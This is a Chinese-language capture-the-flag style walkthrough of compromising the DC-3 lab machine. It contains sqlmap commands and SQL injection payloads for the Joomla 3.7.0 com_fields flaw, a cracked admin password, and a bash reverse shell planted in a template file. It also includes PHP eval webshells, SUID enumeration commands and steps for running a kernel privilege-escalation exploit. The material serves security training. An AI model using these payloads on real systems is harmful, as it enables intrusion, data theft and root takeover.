靶机渗透测试实战(三)——DC-3

工具学习

1、nikto扫描器

工具用途:

  • Nikto是一款开源的web服务器扫描器它可以对网页服务器进行全面的多种扫描
    .
    常用操作:
  • 扫描站点目录
    .
    常用选项:
  • nikto -host [IP]

靶机渗透测试实战(三)——DC-3_第1张图片

2、JoomScan
  • OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。
  • 命令:joomscan -u 192.168.85.135

靶机渗透测试实战(三)——DC-3_第2张图片

3、???searchsploit漏洞查询工具

作用:

  • 搜索所有的漏洞和shellcode
    .
    常用选项:
  • searchsploit XXXX

靶机渗透测试实战(三)——DC-3_第3张图片

实验环境

  • 靶机(DC-3),IP地址未知;
  • 测试机kali,IP地址:192.168.85.131
  • win7的IP:192.168.85.112

实验步骤:

1、 主机扫描

命令:1. Arp-scan -l

靶机渗透测试实战(三)——DC-3_第4张图片

没有发现靶机IP,判断靶机没有分配到IP地址,因此先进去单用户设置网络

2、重启靶机

2.1> 启动系统后,我们按e键进入grub模式;

靶机渗透测试实战(三)——DC-3_第5张图片
2.2> Ctrl +x 进入单用户模式;

靶机渗透测试实战(三)——DC-3_第6张图片
2.3> 进入单用户模式了 输入 passwd就可以更改密码了,然后就可以直接用passwd命令修改root;

以上操作便是进入单用户模式下修改root密码,解决root密码忘记以及root用户被锁等需要root权限执行而root账户无法使用的问题。

在这里插入图片描述
修改完密码后重新启动输入新密码,就可以进入了。

用户名:root
密码:root

2.4> 退出单用户模式,按新密码重新登录,并进入编辑 /etc/network/interfaces,修改配置文件;

  • 修改网卡配置文件命令:vim /etc/network/interfaces
    靶机渗透测试实战(三)——DC-3_第7张图片
  • 重启网络服务命令:service networking restart
  • 查看网卡信息命令:ifconfig
    靶机渗透测试实战(三)——DC-3_第8张图片
3、主机扫描,确认靶机IP

命令:arp-scan -l

目标主机的IP地址为:192.168.85.135
靶机渗透测试实战(三)——DC-3_第9张图片

4、端口扫描,确认服务

命令:nmap -sS -sC -p- -T3 -sV 192.168.85.135

靶机渗透测试实战(三)——DC-3_第10张图片通过nmap扫描发现只开通一个80端口,并且所使用的的CMS服务是:Joomla

5、访问CD-3目标主机的80端口;

靶机渗透测试实战(三)——DC-3_第11张图片

分析结果:分析可能存在sql注入,用户名枚举。



6、Joomla 寻找漏洞,在kali下搜索:searchsploit joomla

命令:root@kali:~# searchsploit joomla | grep php

靶机渗透测试实战(三)——DC-3_第12张图片

分析结果:发现一个sql注入的PHP文件,因此需要构建一个php执行环境。

将PHP文件放到dvwa中

6.1> 拷贝 查找joomla的漏洞信息到/root根目录下;

命令:root@kali:~# cp /usr/share/exploitdb/exploits/php/webapps/44893.php /root

靶机渗透测试实战(三)——DC-3_第13张图片



6.2> 利用nc命令将文件上传到win7网站根目录下;

  • 在win7的cmd命令行中输入命令:nc -lp 8888 > C:\phpStudy\PHPTutorial\WWW\a.php

关于在win7中下载安装nc命令,可以参考文章:https://blog.csdn.net/nicolewjt/article/details/88898735

靶机渗透测试实战(三)——DC-3_第14张图片

  • kali命令:nc 192.168.85.112 8888 < 44893.php

靶机渗透测试实战(三)——DC-3_第15张图片

  • 最终结果;

靶机渗透测试实战(三)——DC-3_第16张图片



6、因为得到的CMS是joomla(成熟的cms),可以使用JoomScan进行扫描;

靶机渗透测试实战(三)——DC-3_第17张图片

7、在kali上通过searchsploit搜索漏洞;
root@kali:~# searchsploit Joomla 3.7.0
--------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                   |  Path
                                                                                 | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------- ----------------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection                                       | exploits/php/webapps/42033.txt
--------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

可以发现存在SQL注入漏洞

8、查看42033.txt文件,可以发现42033.txt中详细提供了SQL注入的方法。;
root@kali:~# cat /usr/share/exploitdb/exploits/php/webapps/42033.txt 
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
8、用sqlmap进行暴库;

命令:sqlmap -u “http://192.168.85.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

8.1> 使用sqlmap爆破出数据库,得到数据库信息,着重分析joomladb这个数据库;
靶机渗透测试实战(三)——DC-3_第18张图片
8.1> 爆出joomladb数据库中的列表,joomladb数据库中有76个表,通过表名去寻找是否有users表;

命令:root@kali:~# sqlmap -u “http://192.168.85.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -D joomladb --tables -p list[fullordering]

靶机渗透测试实战(三)——DC-3_第19张图片靶机渗透测试实战(三)——DC-3_第20张图片8.2> 爆出字段,爆出内容。找到了名为#__users表,其中保存了用户名和密码信息;

命令:root@kali:~# sqlmap -u “http://192.168.85.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D joomladb -T ‘#__users’ --dump -p list[fullordering]

用户名:admin
密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

靶机渗透测试实战(三)——DC-3_第21张图片8.3> 利用johnny暴力破解,得到了明文密码为snoopy

靶机渗透测试实战(三)——DC-3_第22张图片

进行提权

方法一:

9、进入模板,进行Web渗透

9.1> 进入网站后台管理主页面(http://192.168.85.135/administrator/index.php),具体操作如下:

点击页面右侧的“ Templates ” ——> 再点击“ Templates ” ——> 点击“ Beez3 Details and Files ” ——> 点击“ index.php ”,进入网页源码。

其中登录后台管理的用户名和密码如下:

用户名:admin
密码:snoopy

靶机渗透测试实战(三)——DC-3_第23张图片
靶机渗透测试实战(三)——DC-3_第24张图片
具体思路和想法总结:

【思路】
(1)用system()执行bash -c
(2)用bash发起一个shell
(3)kali监听
(4)访问index.php执行脚本
(5)反弹shell成功 ——>
(6)提权到root

9.2> 在管理页面的index.php中写入反弹shell代码,并按Save进行保存;

用system()执行bash -c的编码如下:

& /dev/tcp/192.168.85.133/8080 0>&1' ");
?> 

靶机渗透测试实战(三)——DC-3_第25张图片
9.3> 在kali中输入写入nc命令,进行监听;

命令:root@kali:~# nc -lvvp 8080

靶机渗透测试实战(三)——DC-3_第26张图片
9.4> 进行触发这个反弹shell(访问DC-3的默认主页);

靶机渗透测试实战(三)——DC-3_第27张图片
9.5> 这时候将在kali上得到,反弹的getshell;

靶机渗透测试实战(三)——DC-3_第28张图片
9.6> 获取目标主机的操作系统版本,以及该getshell的ID号;

靶机渗透测试实战(三)——DC-3_第29张图片
9.7> 对应版本为Ubuntu 16.04,用searchsploit搜索可以利用的漏洞;

root@kali:~# searchsploit Ubuntu 16.04
-------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                |  Path
                                                              | (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execut | exploits/linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation | exploits/linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker-extract'  | exploits/linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privileg | exploits/linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17. | exploits/linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fe | exploits/linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using  | exploits/linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP | exploits/linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escal | exploits/linux/local/40759.rb
Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback() | exploits/linux/dos/46529.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET'  | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_o | exploits/linux_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_ | exploits/linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' L | exploits/linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer    | exploits/linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Priv | exploits/linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege E | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter targe | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - L | exploits/linux/local/43418.c
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

可以自己搭建一个Ubuntu16.04的环境测试后使用39772进行提权

提权

10、先通过kali下载github的39772文件

10.1> 打开39772这个文件,可以看到39772文件的下载路径;

路径为:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

靶机渗透测试实战(三)——DC-3_第30张图片
由于得到DC-3靶机的shell内无法下载github的39772文件;

在这里插入图片描述
10.2> 通过Firefox浏览器进行下载,并下载到下载文件夹中;

靶机渗透测试实战(三)——DC-3_第31张图片
靶机渗透测试实战(三)——DC-3_第32张图片
10.3> 并将文件提取到桌面;

靶机渗透测试实战(三)——DC-3_第33张图片

11、在kali上用python开启简单的服务器功能;
python -m SimpleHTTPServer 9000

靶机渗透测试实战(三)——DC-3_第34张图片用python开启简单的服务器后,在以获得的DC-3的getshell下载exploit.tar文件;

靶机渗透测试实战(三)——DC-3_第35张图片

12、解压文件,并进行提权操作

12.1> 解压exploit.tar文件;

命令:tar -xvf exploit.tar
靶机渗透测试实战(三)——DC-3_第36张图片

12.1> 执行./complie.sh和./doubleput文件;

执行如下命令:

tar -xvf exploit.tar
./compile.sh
./doubleput

靶机渗透测试实战(三)——DC-3_第37张图片靶机渗透测试实战(三)——DC-3_第38张图片靶机渗透测试实战(三)——DC-3_第39张图片
从getshell到shell提权成功!!!!!!!!

方法二:

9、进入网站后台主页面(http://192.168.85.135/administrator/index.php),具体操作如下:

点击页面右侧的“ Templates ” ——> 再点击“ Templates ” ——> 点击“ Beez3 Details and Files ” ——> 点击“ index.php ”,进入网页源码。

其中登录后台管理的用户名和密码如下:

用户名:admin
密码:snoopy

写入一句话木马: ——> (添加测试代码)

靶机渗透测试实战(三)——DC-3_第40张图片

10、在index.php文件中加入一句话木马,并触发木马,查看PHP的详细信息;

一句话木马:
靶机渗透测试实战(三)——DC-3_第41张图片
测试成功

11、添加一句话木马,并用中国蚁剑进行连接;

11.1> 添加一句话木马;

添加一句话木马病毒,进行测试:

<?php
  eval($_GET['cmd']);
?>

靶机渗透测试实战(三)——DC-3_第42张图片
11.2> 测试一句话木马;

URL:http://192.168.85.133/index.php?cmd=phpinfo();

靶机渗透测试实战(三)——DC-3_第43张图片
11.2> 使用中国蚁剑进行连接;

添加一句话木马病毒,进行蚁剑连接:

<?php
  eval($_POST['cmd']);
?>

靶机渗透测试实战(三)——DC-3_第44张图片
使用中国蚁剑进行连接;

靶机渗透测试实战(三)——DC-3_第45张图片
中国蚁剑连接成功;

靶机渗透测试实战(三)——DC-3_第46张图片

12、成功接入后,使用虚拟终端,并且创建反弹shell

12.1> 在kali中输入nc -lvp 1234 进行监听;

命令:nc -lvp 1234

靶机渗透测试实战(三)——DC-3_第47张图片
12.2> 在中国蚁剑中点击“虚拟终端”,并进行连接;

靶机渗透测试实战(三)——DC-3_第48张图片反弹shell成功!!!!

12、先使用命令提权。使用suid提权,找到一个属于root的具有s权限的文件;

s是提权符

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

靶机渗透测试实战(三)——DC-3_第49张图片

  • 以上所有二进制文件都将以root用户权限来执行,准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。因为它们的权限中包含“s”,并且它们的属主为root。

  • SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。其中,大家熟知的具有提权功能的Linux可执行文件包括:

Nmap
Vim
find
Bash
More
Less
Nano
cp

通过以上命令可以发现,不能命令提权!!!!

12、使用内核提权

12.1> 查看DC-3的内核版本;

在这里插入图片描述内核版本为:Linux 4.4.0-21

12.2> 发现目标机存在gcc编译器,可以上传.c文件进项编译;

靶机渗透测试实战(三)——DC-3_第50张图片

12.3> 在kali中搜索linux 4.4.0-21的内核版本,并将其拷贝到/root目录下;
靶机渗透测试实战(三)——DC-3_第51张图片
12.4> 通过内存命令传送40049.c文件;

  • 1.收方(服务端)(DC-3的IP是: 192.168.85.133)
    监听一个端口,把接收数据重定向(或者说保存)到文件;

靶机渗透测试实战(三)——DC-3_第52张图片

  • 2.发方(客户端)
    请求向服务端发送文件,文件输入到这个服务端的端口

在这里插入图片描述
12.5> 通过对40049.c进行编译;
靶机渗透测试实战(三)——DC-3_第53张图片
发现编译错误,这条内核提权不能够成功!!!

剩下的方法可以参考方法一

你可能感兴趣的:(安全漏洞)